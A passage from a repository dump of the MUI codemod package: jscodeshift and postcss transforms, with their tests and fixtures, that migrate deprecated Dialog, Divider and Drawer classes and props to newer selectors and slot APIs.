source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/index.js",
    "content": "export { default } from './dialog-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiDialog-paperScrollBody',\n    replacementSelector: ' .MuiDialog-scrollBody > .MuiDialog-paper',\n  },\n  {\n    deprecatedClass: ' .MuiDialog-paperScrollPaper',\n    replacementSelector: ' .MuiDialog-scrollPaper > .MuiDialog-paper',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Dialog classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/test-cases/actual.css",
    "content": ".MuiDialog-root .MuiDialog-paperScrollBody {\n  color: red;\n}\n\n.MuiDialog-root .MuiDialog-paperScrollPaper {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/test-cases/actual.js",
    "content": "import { dialogClasses } from '@mui/material/Dialog';\n\n('& .MuiDialog-paperScrollBody');\n('& .MuiDialog-paperScrollPaper');\n\n`& .${dialogClasses.paperScrollBody}`;\n`& .${dialogClasses.paperScrollPaper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/test-cases/expected.css",
    "content": ".MuiDialog-root .MuiDialog-scrollBody > .MuiDialog-paper {\n  color: red;\n}\n\n.MuiDialog-root .MuiDialog-scrollPaper > .MuiDialog-paper {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/test-cases/expected.js",
    "content": "import { dialogClasses } from '@mui/material/Dialog';\n\n(\"& .MuiDialog-scrollBody > .MuiDialog-paper\");\n(\"& .MuiDialog-scrollPaper > .MuiDialog-paper\");\n\n`& .${dialogClasses.scrollBody} > .${dialogClasses.paper}`;\n`& .${dialogClasses.scrollPaper} > .${dialogClasses.paper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/test-cases/package.actual.js",
    "content": "import { dialogClasses } from '@org/ui/material/Dialog';\n\n('& .MuiDialog-paperScrollBody');\n('& .MuiDialog-paperScrollPaper');\n\n`& .${dialogClasses.paperScrollBody}`;\n`& .${dialogClasses.paperScrollPaper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-classes/test-cases/package.expected.js",
    "content": "import { dialogClasses } from '@org/ui/material/Dialog';\n\n(\"& .MuiDialog-scrollBody > .MuiDialog-paper\");\n(\"& .MuiDialog-scrollPaper > .MuiDialog-paper\");\n\n`& .${dialogClasses.scrollBody} > .${dialogClasses.paper}`;\n`& .${dialogClasses.scrollPaper} > .${dialogClasses.paper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/dialog-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Dialog',\n    propName: 'BackdropComponent',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Dialog',\n    propName: 'BackdropProps',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Dialog',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Dialog',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Dialog',\n    propName: 'PaperProps',\n    slotName: 'paper',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/dialog-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './dialog-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('dialog-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] dialog-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] dialog-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/index.js",
    "content": "export { default } from './dialog-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/test-cases/actual.js",
    "content": "import Dialog from '@mui/material/Dialog';\nimport { Dialog as MyDialog } from '@mui/material';\n\n<Dialog\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={CustomBackdropProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n<MyDialog\n  BackdropComponent={CustomBackdrop}\n  BackdropProps={CustomBackdropProps}\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n<Dialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n  }}\n  PaperProps={PaperProps}\n/>;\n<MyDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    ...outerSlots,\n  }}\n  PaperProps={PaperProps}\n/>;\n<Dialog\n  TransitionComponent={ComponentTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  PaperProps={PaperProps}\n/>;\n// should skip non MUI components\n<NonMuiDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/test-cases/expected.js",
    "content": "import Dialog from '@mui/material/Dialog';\nimport { Dialog as MyDialog } from '@mui/material';\n\n<Dialog\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: CustomBackdropProps,\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<MyDialog\n  slots={{\n    backdrop: CustomBackdrop,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    backdrop: CustomBackdropProps,\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<Dialog\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<MyDialog\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<Dialog\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n// should skip non MUI components\n<NonMuiDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/test-cases/package.actual.js",
    "content": "import Dialog from '@org/ui/material/Dialog';\nimport { Dialog as MyDialog } from '@org/ui/material';\n\n<Dialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n<MyDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n<Dialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n  }}\n  PaperProps={PaperProps}\n/>;\n<MyDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    ...outerSlots,\n  }}\n  PaperProps={PaperProps}\n/>;\n<Dialog\n  TransitionComponent={ComponentTransition}\n  TransitionProps={CustomTransitionProps}\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  PaperProps={PaperProps}\n/>;\n// should skip non MUI components\n<NonMuiDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/test-cases/package.expected.js",
    "content": "import Dialog from '@org/ui/material/Dialog';\nimport { Dialog as MyDialog } from '@org/ui/material';\n\n<Dialog\n  slots={{\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<MyDialog\n  slots={{\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<Dialog\n  slots={{\n    root: 'div',\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<MyDialog\n  slots={{\n    ...outerSlots,\n    transition: CustomTransition\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n<Dialog\n  slots={{\n    root: 'div',\n    transition: SlotTransition,\n  }}\n  slotProps={{\n    transition: CustomTransitionProps,\n    paper: PaperProps\n  }} />;\n// should skip non MUI components\n<NonMuiDialog\n  TransitionComponent={CustomTransition}\n  TransitionProps={CustomTransitionProps}\n  PaperProps={PaperProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiDialog: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      TransitionProps: CustomTransitionProps,\n      PaperProps: PaperProps,\n    },\n  },\n});\n\nfn({\n  MuiDialog: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      TransitionProps: CustomTransitionProps,\n      slots: {\n        root: 'div',\n      },\n      PaperProps: PaperProps,\n    },\n  },\n});\n\nfn({\n  MuiDialog: {\n    defaultProps: {\n      TransitionComponent: ComponentTransition,\n      TransitionProps: CustomTransitionProps,\n      slots: {\n        root: 'div',\n        transition: SlotTransition,\n      },\n      PaperProps: PaperProps,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/dialog-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiDialog: {\n    defaultProps: {\n      slots: {\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps,\n        paper: PaperProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiDialog: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: CustomTransition\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps,\n        paper: PaperProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiDialog: {\n    defaultProps: {\n      slots: {\n        root: 'div',\n        transition: SlotTransition,\n      },\n\n      slotProps: {\n        transition: CustomTransitionProps,\n        paper: PaperProps\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/divider-props.js",
    "content": "import appendAttribute from '../../util/appendAttribute';\nimport assignObject from '../../util/assignObject';\nimport findComponentJSX from '../../util/findComponentJSX';\nimport findComponentDefaultProps from '../../util/findComponentDefaultProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  findComponentJSX(\n    j,\n    { root, componentName: 'Divider', packageName: options.packageName },\n    (elementPath) => {\n      const lightProp = elementPath.node.openingElement.attributes.find(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'light',\n      );\n\n      if (!lightProp) {\n        return;\n      }\n\n      elementPath.node.openingElement.attributes =\n        elementPath.node.openingElement.attributes.filter((attr) => {\n          if (attr.type === 'JSXAttribute' && attr.name.name === 'light') {\n            return false;\n          }\n          return true;\n        });\n\n      const isLightPropTruthy = lightProp.value?.expression.value !== false;\n\n      if (!isLightPropTruthy) {\n        return;\n      }\n\n      const sxIndex = elementPath.node.openingElement.attributes.findIndex(\n        (attr) => attr.type === 'JSXAttribute' && attr.name.name === 'sx',\n      );\n      if (sxIndex === -1) {\n        appendAttribute(j, {\n          target: elementPath.node,\n          attributeName: 'sx',\n          expression: j.objectExpression([\n            j.objectProperty(j.identifier('opacity'), j.literal('0.6')),\n          ]),\n        });\n      } else {\n        const opacityIndex = elementPath.node.openingElement.attributes[\n          sxIndex\n        ].value.expression.properties.findIndex((key) => key.key.name === 'opacity');\n\n        if (opacityIndex === -1) {\n          assignObject(j, {\n            target: elementPath.node.openingElement.attributes[sxIndex],\n            key: 'opacity',\n            expression: j.literal('0.6'),\n          });\n        }\n      }\n    },\n  );\n\n  const defaultPropsPathCollection = findComponentDefaultProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Divider',\n  });\n\n  defaultPropsPathCollection.find(j.ObjectProperty, { key: { name: 'light' } }).forEach((path) => {\n    const { properties: defaultPropsProperties } = path.parent.value;\n\n    if (path.value?.value.value === false) {\n      path.prune();\n      return;\n    }\n\n    const existingSx = defaultPropsProperties.find((prop) => prop.key.name === 'sx');\n\n    if (!existingSx) {\n      defaultPropsProperties.push(\n        j.property(\n          'init',\n          j.identifier('sx'),\n          j.objectExpression([j.objectProperty(j.identifier('opacity'), j.literal('0.6'))]),\n        ),\n      );\n    } else if (!existingSx.value.properties.find((prop) => prop.key.name === 'opacity')) {\n      existingSx.value.properties.push(\n        j.property('init', j.identifier('opacity'), j.literal('0.6')),\n      );\n    }\n\n    path.prune();\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/divider-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './divider-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('divider-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('actual.js should not be equal to expected.js', () => {\n        const actual = read('./test-cases/actual.js');\n        const expected = read('./test-cases/expected.js');\n        expect(actual).not.to.equal(expected);\n      });\n    });\n\n    describe('[theme] divider-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('theme.actual.js should not be equal to theme.expected.js', () => {\n        const actual = read('./test-cases/theme.actual.js');\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).not.to.equal(expected);\n      });\n    });\n\n    describe('[package] divider-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/index.js",
    "content": "export { default } from './divider-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/test-cases/actual.js",
    "content": "import Divider from '@mui/material/Divider';\nimport { Divider as MyDivider } from '@mui/material';\n\n<Divider light className=\"test\" />;\n<MyDivider light className=\"test\" />;\n<Divider light={false} className=\"test\" />;\n<MyDivider light={false} className=\"test\" />;\n<Divider light={light} className=\"test\" />;\n<MyDivider light={light} className=\"test\" />;\n<Divider light sx={{ opacity: '0.7' }} />;\n<MyDivider light sx={{ bgcolor: 'black' }} />;\n<Divider className=\"test\" />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/test-cases/expected.js",
    "content": "import Divider from '@mui/material/Divider';\nimport { Divider as MyDivider } from '@mui/material';\n\n<Divider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<MyDivider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<Divider className=\"test\" />;\n<MyDivider className=\"test\" />;\n<Divider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<MyDivider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<Divider sx={{ opacity: '0.7' }} />;\n<MyDivider\n  sx={{\n    bgcolor: 'black',\n    opacity: \"0.6\"\n  }} />;\n<Divider className=\"test\" />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/test-cases/package.actual.js",
    "content": "import Divider from '@org/ui/material/Divider';\nimport { Divider as MyDivider } from '@org/ui/material';\n\n<Divider light className=\"test\" />;\n<MyDivider light className=\"test\" />;\n<Divider light={false} className=\"test\" />;\n<MyDivider light={false} className=\"test\" />;\n<Divider light={light} className=\"test\" />;\n<MyDivider light={light} className=\"test\" />;\n<Divider light sx={{ opacity: '0.7' }} />;\n<MyDivider light sx={{ bgcolor: 'black' }} />;\n<Divider className=\"test\" />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/test-cases/package.expected.js",
    "content": "import Divider from '@org/ui/material/Divider';\nimport { Divider as MyDivider } from '@org/ui/material';\n\n<Divider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<MyDivider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<Divider className=\"test\" />;\n<MyDivider className=\"test\" />;\n<Divider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<MyDivider className=\"test\" sx={{\n  opacity: \"0.6\"\n}} />;\n<Divider sx={{ opacity: '0.7' }} />;\n<MyDivider\n  sx={{\n    bgcolor: 'black',\n    opacity: \"0.6\"\n  }} />;\n<Divider className=\"test\" />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiDivider: {\n    defaultProps: {\n      light: false,\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      light: false,\n      className: 'my-class',\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      light: true,\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      light: true,\n      className: 'my-class',\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      light,\n      className: 'my-class',\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      light,\n      className: 'my-class',\n      sx: {\n        opacity: '0.7',\n      },\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      light,\n      className: 'my-class',\n      sx: {\n        bgcolor: 'black',\n      },\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class',\n    },\n  },\n});\nfn({\n  MuiDivider: {},\n});\nfn({\n  MuiDivider: 123,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/divider-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiDivider: {\n    defaultProps: {},\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class'\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      sx: {\n        opacity: \"0.6\"\n      }\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class',\n\n      sx: {\n        opacity: \"0.6\"\n      }\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class',\n\n      sx: {\n        opacity: \"0.6\"\n      }\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class',\n\n      sx: {\n        opacity: '0.7',\n      }\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class',\n\n      sx: {\n        bgcolor: 'black',\n        opacity: \"0.6\"\n      }\n    },\n  },\n});\nfn({\n  MuiDivider: {\n    defaultProps: {\n      className: 'my-class',\n    },\n  },\n});\nfn({\n  MuiDivider: {},\n});\nfn({\n  MuiDivider: 123,\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/drawer-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Drawer)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'drawerClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiDrawer-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/drawer-classes/drawer-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './drawer-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('drawer-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 